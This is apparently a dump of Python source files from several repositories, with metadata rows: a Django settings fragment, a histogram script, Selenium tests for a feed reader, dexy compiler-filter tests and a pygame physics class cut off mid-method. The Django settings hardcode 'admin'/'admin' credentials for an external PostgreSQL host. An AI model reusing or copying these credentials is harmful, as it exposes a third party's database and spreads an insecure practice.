'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'visualisation_engine.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.1/ref/settings/#databases
# DATABASES = {
# 'default': {
# 'ENGINE': 'django.db.backends.sqlite3',
# 'NAME': BASE_DIR / 'db.sqlite3',
# }
# }
# Password validation
# https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.1/howto/static-files/
STATIC_URL = '/static/'
STATIC_FINDER = [
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
]
STATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles/')
STATICFILES_DIRS = [
os.path.join(BASE_DIR, '../static'),
]
TEMPLATE_DIRS = (os.path.join(BASE_DIR, 'templates'),)
# external postgres
ENGINE_STRING = 'postgresql+psycopg2://{}:{}@{}:{}/{}'.format(
'admin',
'admin',
'qualichain.epu.ntua.gr',
5435,
'qualichain_db'
) | true | true |
f72605046ec8fd6a2d4e80f3aaede195b2b0f3f8 | 233 | py | Python | print_histogram.py | lwoznicki/Python-simple-code | 72486f8f18f8ffc019838be4b1d7d45c68356a0e | [
"MIT"
] | null | null | null | print_histogram.py | lwoznicki/Python-simple-code | 72486f8f18f8ffc019838be4b1d7d45c68356a0e | [
"MIT"
] | null | null | null | print_histogram.py | lwoznicki/Python-simple-code | 72486f8f18f8ffc019838be4b1d7d45c68356a0e | [
"MIT"
] | 1 | 2020-01-04T20:45:26.000Z | 2020-01-04T20:45:26.000Z | def print_histogram(h):
dict = []
dict += sorted(h.keys())
for e in dict:
print(e, h[e])
spaghetti = {'s' : 1, 'p' : 1, 'a' : 1, 'g' : 1, 'h' : 1, 'e' : 1 ,'t' : 2 , 'i' : 1}
print_histogram(spaghetti)
| 25.888889 | 86 | 0.450644 | def print_histogram(h):
dict = []
dict += sorted(h.keys())
for e in dict:
print(e, h[e])
spaghetti = {'s' : 1, 'p' : 1, 'a' : 1, 'g' : 1, 'h' : 1, 'e' : 1 ,'t' : 2 , 'i' : 1}
print_histogram(spaghetti)
| true | true |
f726052b6ebb1901f2bd60dbf982fdea48f38b54 | 12,031 | py | Python | functional_tests/test_views.py | wivn/feed-reader | 1b4524fcdfc79391a5cf982ce9c5681e600f4303 | [
"MIT"
] | null | null | null | functional_tests/test_views.py | wivn/feed-reader | 1b4524fcdfc79391a5cf982ce9c5681e600f4303 | [
"MIT"
] | null | null | null | functional_tests/test_views.py | wivn/feed-reader | 1b4524fcdfc79391a5cf982ce9c5681e600f4303 | [
"MIT"
] | null | null | null | from django.test import LiveServerTestCase
from selenium import webdriver
from selenium.common.exceptions import WebDriverException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from unittest import mock
import feedparser
import time
import datetime
from django.core.management import call_command
from django.contrib.auth import get_user_model
from feed.models import Entry
User = get_user_model()
class BaseLiveServerTestCase(LiveServerTestCase):
def setUp(self):
self.browser = webdriver.Safari()
self.wait = WebDriverWait(self.browser, MAX_WAIT)
user = User.objects.create_user(username="myself", password="superCoolPassword")
user.save()
self.client.force_login(user)
cookie = self.client.cookies['sessionid']
# NEED TO SETUP COOKIE
self.browser.get(self.live_server_url) #selenium will set cookie domain based on current page domain
self.browser.add_cookie({'name': 'sessionid', 'value': cookie.value, 'secure': False, 'path': '/'})
self.browser.refresh() #need to update page for logged in user
self.browser.get(self.live_server_url)
def tearDown(self):
self.browser.quit()
class FixturesTestCase(LiveServerTestCase):
fixtures = ["data.json"]
def setUp(self):
self.browser = webdriver.Safari()
self.wait = WebDriverWait(self.browser, MAX_WAIT)
user = User.objects.first()
self.client.force_login(user)
cookie = self.client.cookies['sessionid']
# NEED TO SETUP COOKIE
self.browser.get(self.live_server_url) #selenium will set cookie domain based on current page domain
self.browser.add_cookie({'name': 'sessionid', 'value': cookie.value, 'secure': False, 'path': '/'})
self.browser.refresh() #need to update page for logged in user
self.browser.get(self.live_server_url)
def tearDown(self):
self.browser.quit()
# TODO: Replace time.sleeps with waits
MAX_WAIT = 10
test_url = "https://www.example.org/feed.xml"
test_url_base = "https://www.example.org"
recent_date = datetime.datetime.now()
old_date = recent_date - datetime.timedelta(days = 14)
test_page = f"""<feed xmlns="http://www.w3.org/2005/Atom"><generator uri="https://jekyllrb.com/" version="3.8.5">Jekyll</generator><link href="https://www.example.org/feed.xml" rel="self" type="application/atom+xml"/><link href="https://www.example.org/" rel="alternate" type="text/html"/><updated>2020-06-29T16:00:05+00:00</updated><id>https://www.example.org/feed.xml</id><title type="html">Example Feed</title><author><name>Example Writer</name></author><entry><title type="html">Entry 1</title><link href="https://www.example.org/1" rel="alternate" type="text/html" title="Entry 1"/><published>{recent_date}</published><updated>{recent_date}</updated><id>https://www.example.org/1</id><content type="html" xml:base="https://www.example.org/1">hello 1</content><author><name>Example Writer</name></author><summary type="html"/></entry><entry><title type="html">Entry 2</title><link href="https://www.example.org/2" rel="alternate" type="text/html" title="Entry 2"/><published>{old_date}</published><updated>{old_date}</updated><id>https://www.example.org/2</id><content type="html" xml:base="https://www.example.org/2">hello 2</content><author><name>Example Writer</name></author><summary type="html">hello 2</summary></entry></feed>"""
test_feed = feedparser.parse(test_page)
entries = ["Entry 1", "Entry 2"]
test_feed.etag = None
def fake_find_out_type(url):
return (test_url, test_page , test_url)
def fake_feed_parser(a, *args, **kwargs):
return test_feed
@mock.patch('feed.feedTools.find_out_type', side_effect=fake_find_out_type)
@mock.patch('feed.feedTools.feedparser.parse', side_effect=fake_feed_parser)
class FunctionalTest(BaseLiveServerTestCase):
def test_inital(self, func_1, func_2):
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# They will see the form to add a new subscription and enter their url
feed_form = self.browser.find_element_by_css_selector("#new_url_to_add")
feed_form.send_keys(test_url)
feed_form.send_keys(Keys.ENTER)
# They will then see their URL appear in the subscriptions
subscriptions = [sub.text for sub in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".subscription")))]
self.assertEqual(len(subscriptions), 1)
self.assertIn(test_url_base, subscriptions[0])
# They will see all the entries they expected as well
titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertEqual(entries, titles)
# The user is happy, but they want to catch up on the past seven days. So they go to the latest page.
self.browser.get(self.live_server_url + "/latest")
# They see all the entries they expect there
titles = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ]
self.assertEqual(len(titles), 1)
self.assertEqual([entries[0]], titles)
@mock.patch('feed.feedTools.find_out_type', side_effect=fake_find_out_type)
@mock.patch('feed.feedTools.feedparser.parse', side_effect=fake_feed_parser)
class CurrentlyReadingPageTest(FixturesTestCase):
def test_can_set_things_to_currently_reading_and_not_currently_reading_on_home_page(self, func_1, func_2):
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# The user will mark an item as currently reading
entry_1_title = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")][0]
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
# That item will disappear from the page
entries_titles = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ]
self.assertNotIn(entry_1_title, entries_titles)
# The user will then go to the current page and see their item
self.browser.get(self.live_server_url + "/current")
entry_1_title = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title")))][0]
entries_titles_from_current_page = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles_from_current_page)
# The user then decides they want to remove the item from their currently reading list
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
# The user no longer sees the item there
entries_titles = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
# There will only be 1, so once it's invisible it's all gone so it'll be True
self.assertEqual(True, entries_titles)
# The user visits the homepage and sees it
self.browser.get(self.live_server_url)
entries_titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles)
def test_can_set_things_to_currently_reading_and_not_currently_reading_on_latest_page(self, func_1, func_2):
# ENSURE THEY ARE ALWAYS LATEST
entry = Entry.objects.first()
entry.published = datetime.datetime.now()
entry.save()
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# The user will open the web page to the homepage
self.browser.get(self.live_server_url+'/latest/')
self.wait.until(EC.text_to_be_present_in_element((By.CSS_SELECTOR, ".main-title"), "Latest"))
# The user will mark an item as currently reading
entry_1_title = self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
entry_1_title = entry_1_title.text
entry_1_currently_reading_button = self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, ".entry__currently_reading__btn")))
entry_1_currently_reading_button.click()
# That item will disappear from the page
is_entry_gone = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
self.assertEqual(is_entry_gone, True)
# The user will then go to the current page and see their item
self.browser.get(self.live_server_url + "/current")
entry_1_title = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ][0]
entries_titles_from_current_page = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles_from_current_page)
# The user then decides they want to remove the item from their currently reading list
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
# The user no longer sees the item there
entries_titles = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
# if True then it's invisible
self.assertEqual(True, entries_titles)
# The user visits the current page and sees it
self.browser.get(self.live_server_url +'/latest')
entries_titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles)
def test_can_mark_items_as_read_and_unread(self, func_1, func_2):
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# The user will mark an item as unread
entry_1_mark_reading_btn = self.browser.find_elements_by_class_name("entry__seen-unseen__btn")[0]
entry_1_mark_reading_btn.click()
# That item will be seen as read on the page
entry_1_mark_reading_btn = self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__seen-unseen__btn")))[0]
self.assertNotIn("entry__seen-unseen__btn--unread", entry_1_mark_reading_btn.get_attribute("class"))
entry_1_mark_reading_btn.click()
# That user decides to remark it as unread on the page
entry_1_mark_reading_btn = self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__seen-unseen__btn")))[0]
self.assertIn("entry__seen-unseen__btn--unread", entry_1_mark_reading_btn.get_attribute("class"))
def test_can_delete_subscription(self, func_1, func_2):
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# They will then see their one subscription
subscriptions = [sub.text for sub in self.browser.find_elements_by_class_name("subscription")]
self.assertEqual(len(subscriptions), 1)
# They will delete their subscription
subscription_delete_btn = self.browser.find_element_by_class_name("subscription__delete")
subscription_delete_btn.click()
# The subscription will be gone
self.assertEqual(True, self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".subscription"))))
# The entries also will be gone, as there was just one subscription
self.assertEqual([], self.browser.find_elements_by_class_name("entry__title")) | 66.104396 | 1,239 | 0.730114 | from django.test import LiveServerTestCase
from selenium import webdriver
from selenium.common.exceptions import WebDriverException
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from unittest import mock
import feedparser
import time
import datetime
from django.core.management import call_command
from django.contrib.auth import get_user_model
from feed.models import Entry
User = get_user_model()
class BaseLiveServerTestCase(LiveServerTestCase):
def setUp(self):
self.browser = webdriver.Safari()
self.wait = WebDriverWait(self.browser, MAX_WAIT)
user = User.objects.create_user(username="myself", password="superCoolPassword")
user.save()
self.client.force_login(user)
cookie = self.client.cookies['sessionid']
self.browser.get(self.live_server_url)
self.browser.add_cookie({'name': 'sessionid', 'value': cookie.value, 'secure': False, 'path': '/'})
self.browser.refresh()
self.browser.get(self.live_server_url)
def tearDown(self):
self.browser.quit()
class FixturesTestCase(LiveServerTestCase):
fixtures = ["data.json"]
def setUp(self):
self.browser = webdriver.Safari()
self.wait = WebDriverWait(self.browser, MAX_WAIT)
user = User.objects.first()
self.client.force_login(user)
cookie = self.client.cookies['sessionid']
self.browser.get(self.live_server_url)
self.browser.add_cookie({'name': 'sessionid', 'value': cookie.value, 'secure': False, 'path': '/'})
self.browser.refresh()
self.browser.get(self.live_server_url)
def tearDown(self):
self.browser.quit()
MAX_WAIT = 10
test_url = "https://www.example.org/feed.xml"
test_url_base = "https://www.example.org"
recent_date = datetime.datetime.now()
old_date = recent_date - datetime.timedelta(days = 14)
test_page = f"""<feed xmlns="http://www.w3.org/2005/Atom"><generator uri="https://jekyllrb.com/" version="3.8.5">Jekyll</generator><link href="https://www.example.org/feed.xml" rel="self" type="application/atom+xml"/><link href="https://www.example.org/" rel="alternate" type="text/html"/><updated>2020-06-29T16:00:05+00:00</updated><id>https://www.example.org/feed.xml</id><title type="html">Example Feed</title><author><name>Example Writer</name></author><entry><title type="html">Entry 1</title><link href="https://www.example.org/1" rel="alternate" type="text/html" title="Entry 1"/><published>{recent_date}</published><updated>{recent_date}</updated><id>https://www.example.org/1</id><content type="html" xml:base="https://www.example.org/1">hello 1</content><author><name>Example Writer</name></author><summary type="html"/></entry><entry><title type="html">Entry 2</title><link href="https://www.example.org/2" rel="alternate" type="text/html" title="Entry 2"/><published>{old_date}</published><updated>{old_date}</updated><id>https://www.example.org/2</id><content type="html" xml:base="https://www.example.org/2">hello 2</content><author><name>Example Writer</name></author><summary type="html">hello 2</summary></entry></feed>"""
test_feed = feedparser.parse(test_page)
entries = ["Entry 1", "Entry 2"]
test_feed.etag = None
def fake_find_out_type(url):
return (test_url, test_page , test_url)
def fake_feed_parser(a, *args, **kwargs):
return test_feed
@mock.patch('feed.feedTools.find_out_type', side_effect=fake_find_out_type)
@mock.patch('feed.feedTools.feedparser.parse', side_effect=fake_feed_parser)
class FunctionalTest(BaseLiveServerTestCase):
def test_inital(self, func_1, func_2):
self.browser.get(self.live_server_url)
feed_form = self.browser.find_element_by_css_selector("#new_url_to_add")
feed_form.send_keys(test_url)
feed_form.send_keys(Keys.ENTER)
subscriptions = [sub.text for sub in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".subscription")))]
self.assertEqual(len(subscriptions), 1)
self.assertIn(test_url_base, subscriptions[0])
titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertEqual(entries, titles)
self.browser.get(self.live_server_url + "/latest")
titles = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ]
self.assertEqual(len(titles), 1)
self.assertEqual([entries[0]], titles)
@mock.patch('feed.feedTools.find_out_type', side_effect=fake_find_out_type)
@mock.patch('feed.feedTools.feedparser.parse', side_effect=fake_feed_parser)
class CurrentlyReadingPageTest(FixturesTestCase):
def test_can_set_things_to_currently_reading_and_not_currently_reading_on_home_page(self, func_1, func_2):
self.browser.get(self.live_server_url)
entry_1_title = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")][0]
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
entries_titles = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ]
self.assertNotIn(entry_1_title, entries_titles)
self.browser.get(self.live_server_url + "/current")
entry_1_title = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title")))][0]
entries_titles_from_current_page = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles_from_current_page)
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
entries_titles = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
self.assertEqual(True, entries_titles)
# The user visits the homepage and sees it
self.browser.get(self.live_server_url)
entries_titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles)
def test_can_set_things_to_currently_reading_and_not_currently_reading_on_latest_page(self, func_1, func_2):
# ENSURE THEY ARE ALWAYS LATEST
entry = Entry.objects.first()
entry.published = datetime.datetime.now()
entry.save()
# The user will open the web page to the homepage
self.browser.get(self.live_server_url)
# The user will open the web page to the homepage
self.browser.get(self.live_server_url+'/latest/')
self.wait.until(EC.text_to_be_present_in_element((By.CSS_SELECTOR, ".main-title"), "Latest"))
# The user will mark an item as currently reading
entry_1_title = self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
entry_1_title = entry_1_title.text
entry_1_currently_reading_button = self.wait.until(EC.visibility_of_element_located((By.CSS_SELECTOR, ".entry__currently_reading__btn")))
entry_1_currently_reading_button.click()
# That item will disappear from the page
is_entry_gone = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
self.assertEqual(is_entry_gone, True)
# The user will then go to the current page and see their item
self.browser.get(self.live_server_url + "/current")
entry_1_title = [entry.text for entry in self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__title"))) ][0]
entries_titles_from_current_page = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles_from_current_page)
# The user then decides they want to remove the item from their currently reading list
entry_1_currently_reading_button = self.browser.find_elements_by_class_name("entry__currently_reading__btn")[0]
entry_1_currently_reading_button.click()
# The user no longer sees the item there
entries_titles = self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".entry__title")))
# if True then it's invisible
self.assertEqual(True, entries_titles)
self.browser.get(self.live_server_url +'/latest')
entries_titles = [entry.text for entry in self.browser.find_elements_by_class_name("entry__title")]
self.assertIn(entry_1_title, entries_titles)
def test_can_mark_items_as_read_and_unread(self, func_1, func_2):
self.browser.get(self.live_server_url)
entry_1_mark_reading_btn = self.browser.find_elements_by_class_name("entry__seen-unseen__btn")[0]
entry_1_mark_reading_btn.click()
entry_1_mark_reading_btn = self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__seen-unseen__btn")))[0]
self.assertNotIn("entry__seen-unseen__btn--unread", entry_1_mark_reading_btn.get_attribute("class"))
entry_1_mark_reading_btn.click()
entry_1_mark_reading_btn = self.wait.until(EC.visibility_of_all_elements_located((By.CSS_SELECTOR, ".entry__seen-unseen__btn")))[0]
self.assertIn("entry__seen-unseen__btn--unread", entry_1_mark_reading_btn.get_attribute("class"))
def test_can_delete_subscription(self, func_1, func_2):
self.browser.get(self.live_server_url)
subscriptions = [sub.text for sub in self.browser.find_elements_by_class_name("subscription")]
self.assertEqual(len(subscriptions), 1)
subscription_delete_btn = self.browser.find_element_by_class_name("subscription__delete")
subscription_delete_btn.click()
self.assertEqual(True, self.wait.until(EC.invisibility_of_element_located((By.CSS_SELECTOR, ".subscription"))))
self.assertEqual([], self.browser.find_elements_by_class_name("entry__title")) | true | true |
f726084efad0da3d822f2612ca1c35a8e0a06715 | 2,932 | py | Python | tests/plugins/test_clang_filters.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | null | null | null | tests/plugins/test_clang_filters.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | null | null | null | tests/plugins/test_clang_filters.py | dsoto/dexy | 0f2090250040c3c54c8481a16de8e476b559e87c | [
"MIT"
] | null | null | null | from tests.utils import assert_output
from tests.utils import wrap
from dexy.doc import Doc
FORTRAN_HELLO_WORLD = """program hello
print *, "Hello World!"
end program hello
"""
CPP_HELLO_WORLD = """#include <iostream>
using namespace std;
int main()
{
cout << "Hello, world!";
return 0;
}
"""
C_HELLO_WORLD = """#include <stdio.h>
int main()
{
printf("HELLO, world\\n");
}
"""
C_FUSSY_HELLO_WORLD = """#include <stdio.h>
int main()
{
printf("HELLO, world\\n");
return 0;
}
"""
C_WITH_INPUT = """#include <stdio.h>
int main()
{
int c;
c = getchar();
while (c != EOF) {
putchar(c);
c = getchar();
}
}
"""
def test_fortran_filter():
assert_output('fortran', FORTRAN_HELLO_WORLD, "Hello, world!", ext=".f")
def test_cpp_filter():
assert_output('cpp', CPP_HELLO_WORLD, "Hello, world!", ext=".cpp")
def test_clang_filter():
assert_output('clang', C_HELLO_WORLD, "HELLO, world\n", ext=".c")
def test_c_filter():
assert_output('gcc', C_HELLO_WORLD, "HELLO, world\n", ext=".c")
assert_output('gcc', C_FUSSY_HELLO_WORLD, "HELLO, world\n", ext=".c")
def test_cfussy_filter():
assert_output('cfussy', C_FUSSY_HELLO_WORLD, "HELLO, world\n", ext=".c")
with wrap() as wrapper:
wrapper.debug = False
doc = Doc("hello.c|cfussy",
contents=C_HELLO_WORLD,
wrapper=wrapper)
wrapper.run_docs(doc)
assert wrapper.state == 'error'
def test_c_input():
with wrap() as wrapper:
node = Doc("copy.c|cinput",
inputs = [
Doc("input.txt",
contents = "hello, c",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert str(node.output_data()) == "hello, c"
def test_clang_input():
with wrap() as wrapper:
node = Doc("copy.c|clanginput",
inputs = [
Doc("input.txt",
contents = "hello, c",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert str(node.output_data()) == "hello, c"
def test_clang_multiple_inputs():
with wrap() as wrapper:
node = Doc("copy.c|clanginput",
inputs = [
Doc("input1.txt",
contents = "hello, c",
wrapper=wrapper),
Doc("input2.txt",
contents = "more data",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert unicode(node.output_data()['input1.txt']) == u'hello, c'
assert unicode(node.output_data()['input2.txt']) == u'more data'
| 24.433333 | 76 | 0.537517 | from tests.utils import assert_output
from tests.utils import wrap
from dexy.doc import Doc
FORTRAN_HELLO_WORLD = """program hello
print *, "Hello World!"
end program hello
"""
CPP_HELLO_WORLD = """#include <iostream>
using namespace std;
int main()
{
cout << "Hello, world!";
return 0;
}
"""
C_HELLO_WORLD = """#include <stdio.h>
int main()
{
printf("HELLO, world\\n");
}
"""
C_FUSSY_HELLO_WORLD = """#include <stdio.h>
int main()
{
printf("HELLO, world\\n");
return 0;
}
"""
C_WITH_INPUT = """#include <stdio.h>
int main()
{
int c;
c = getchar();
while (c != EOF) {
putchar(c);
c = getchar();
}
}
"""
def test_fortran_filter():
assert_output('fortran', FORTRAN_HELLO_WORLD, "Hello, world!", ext=".f")
def test_cpp_filter():
assert_output('cpp', CPP_HELLO_WORLD, "Hello, world!", ext=".cpp")
def test_clang_filter():
assert_output('clang', C_HELLO_WORLD, "HELLO, world\n", ext=".c")
def test_c_filter():
assert_output('gcc', C_HELLO_WORLD, "HELLO, world\n", ext=".c")
assert_output('gcc', C_FUSSY_HELLO_WORLD, "HELLO, world\n", ext=".c")
def test_cfussy_filter():
assert_output('cfussy', C_FUSSY_HELLO_WORLD, "HELLO, world\n", ext=".c")
with wrap() as wrapper:
wrapper.debug = False
doc = Doc("hello.c|cfussy",
contents=C_HELLO_WORLD,
wrapper=wrapper)
wrapper.run_docs(doc)
assert wrapper.state == 'error'
def test_c_input():
with wrap() as wrapper:
node = Doc("copy.c|cinput",
inputs = [
Doc("input.txt",
contents = "hello, c",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert str(node.output_data()) == "hello, c"
def test_clang_input():
with wrap() as wrapper:
node = Doc("copy.c|clanginput",
inputs = [
Doc("input.txt",
contents = "hello, c",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert str(node.output_data()) == "hello, c"
def test_clang_multiple_inputs():
with wrap() as wrapper:
node = Doc("copy.c|clanginput",
inputs = [
Doc("input1.txt",
contents = "hello, c",
wrapper=wrapper),
Doc("input2.txt",
contents = "more data",
wrapper=wrapper)
],
contents = C_WITH_INPUT,
wrapper=wrapper)
wrapper.run_docs(node)
assert unicode(node.output_data()['input1.txt']) == u'hello, c'
assert unicode(node.output_data()['input2.txt']) == u'more data'
| true | true |
f72608bcf3958c08d167921ea51ff86f7896570c | 10,372 | py | Python | pygame_geometry/body.py | MarcPartensky/Pygame-Geometry | 61abbbeac0fd351253e06b19736d9939fd5b316e | [
"MIT"
] | 3 | 2021-01-03T18:13:02.000Z | 2021-06-27T21:29:11.000Z | pygame_geometry/body.py | MarcPartensky/Pygame-Geometry | 61abbbeac0fd351253e06b19736d9939fd5b316e | [
"MIT"
] | null | null | null | pygame_geometry/body.py | MarcPartensky/Pygame-Geometry | 61abbbeac0fd351253e06b19736d9939fd5b316e | [
"MIT"
] | null | null | null | from .abstract import Vector, Point, Segment, Circle
from .anatomies import FormAnatomy
from .motion import Motion, Moment
from .material import Material
from .physics import Physics
from . import colors
from pygame.locals import *
from copy import deepcopy
import pygame
import logging
import copy
import random
import math
# Interface Anatomy
# - show(context) //an anatomy must be responsible for drawing itself
# - __str__() //an anatomy must be able to give a string representation
# - __contains__(point) //an anatomy must be able to tell if a point is in it
# - cross(anatomy) //an anatomy must be able to determine if it is crossing another anatomy
# - recenter()
# - update()
# . center //an anatomy must have a center
# image, segment and form implement anatomy
class Image(Rect):
def __init__(self, filename):
"""Create an image."""
self.surface = pygame.load.image(filename)
def show(self, context):
""""Show the image on the window."""
self.context.draw.blit(self.surface)
class Body(Physics):
@classmethod
def random(cls, n=5, d=2, nm=2, nv=3, borns=[-1, 1]):
"""Create a random body."""
anatomy = FormAnatomy.random(n=n, d=d, borns=borns)
anatomy.recenter(anatomy.centroid)
motions = []
if nm >= 1:
motions.append(Motion.random(n=nv, d=d))
if nm >= 2:
motions.append(Moment.random(n=nv, d=d))
if nm >= 3:
motions.extend([Motion.random(n=nv, d=d) for i in range(nm - 2)])
return cls(anatomy, motions)
@classmethod
def createFromForm(cls, anatomy, motion=Motion(), moment=Moment()):
"""Create a body from an absolute form using its motion and its angular moment."""
motion.position = Vector(*anatomy.center)
anatomy.points = (-motion.position).applyToPoints(anatomy.points)
return cls(anatomy, [motion, moment])
@classmethod
def createFromMotionMoment(cls, anatomy, motion=Motion(), moment=Moment()):
"""Create a body from a relative anatomy, a motion and a moment."""
return cls(anatomy, [motion, moment])
@classmethod
def createFromRandomMotions(cls, anatomy, n=2):
"""Create a body using an anatomy and giving it 'n' random motions."""
motions = []
if n >= 1:
motions.append(Motion.random())
if n >= 2:
motions.append(Moment.random())
if n >= 3:
motions.extend([Motion.random() for i in range(n - 2)])
return cls(anatomy, motions)
def __init__(self, anatomy, motions):
"""Create body using its anatomy, its motion and its angular moment."""
self.anatomy = anatomy
if not isinstance(motions, list):
raise TypeError("Wrong motions: "+str(motions))
super().__init__(motions)
def __str__(self):
"""Return the string representation of the body."""
return type(self).__name__[0].lower() + "(" + str(self.form) + "," + ",".join(map(str, self.motions)) + ")"
def show(self, context):
"""Show the form on the window."""
self.form.show(context)
def showMotion(self, context):
"""Show the motion of the body."""
self.motion.show(context)
def showMoment(self, context):
"""Show the moment of the body from its farthest point."""
form = self.form
position = self.position
distances = [(Segment(p, position).length, p) for p in form.points]
farthest = max(distances, key=lambda c: c[0])[1]
angle = Vector.createFromTwoPoints(position, farthest).angle
self.moment.show(context, farthest, angle)
def showAll(self, context):
"""Show the body and its motions."""
self.show(context)
self.showMotion(context)
self.showMoment(context)
self.showBorn(context)
def showBorn(self, context):
"""Show the born circle of the entity."""
self.getCircle().show(context)
def update(self, dt=1):
"""Update the motions of the body using 'dt'."""
for motion in self.motions:
motion.update(dt)
def updateFriction(self, friction=0.1):
"""Update the frictions of the body using the 'friction'."""
for motion in self.motions:
motion.velocity.norm *= (1 - friction)
def recenter(self):
"""Set the center of the relative anatomy on the origin."""
c = self.anatomy.center
v = -Vector(*c)
self.anatomy.position.set(v)
def getForm(self):
"""Return a copy of the form in absolute coordinates."""
form = copy.deepcopy(self.anatomy)
form.center = Point(*self.motion.position)
if len(self.motions) == 1: # Ugly fix for general case
form.rotate(self.velocity.angle)
else:
form.rotate(self.moment.position.norm)
return form
def setForm(self, form):
"""Set the form of the body using the absolute form."""
self.position.set(Vector(*form.center))
self.anatomy = form.center
form = absolute = property(getForm, setForm)
def __contains__(self, point):
"""Determine if a point is in the body."""
return point in self.form
def react(self, event):
"""React to a given event by making an action."""
pass
def follow(self, point):
"""Update the motion in order for a body to follow a given point."""
position = Vector(*point)
v = position - self.position
self.acceleration.set(v)
def getCenter(self):
"""Return the center."""
return Point(*self.position)
def setCenter(self, center):
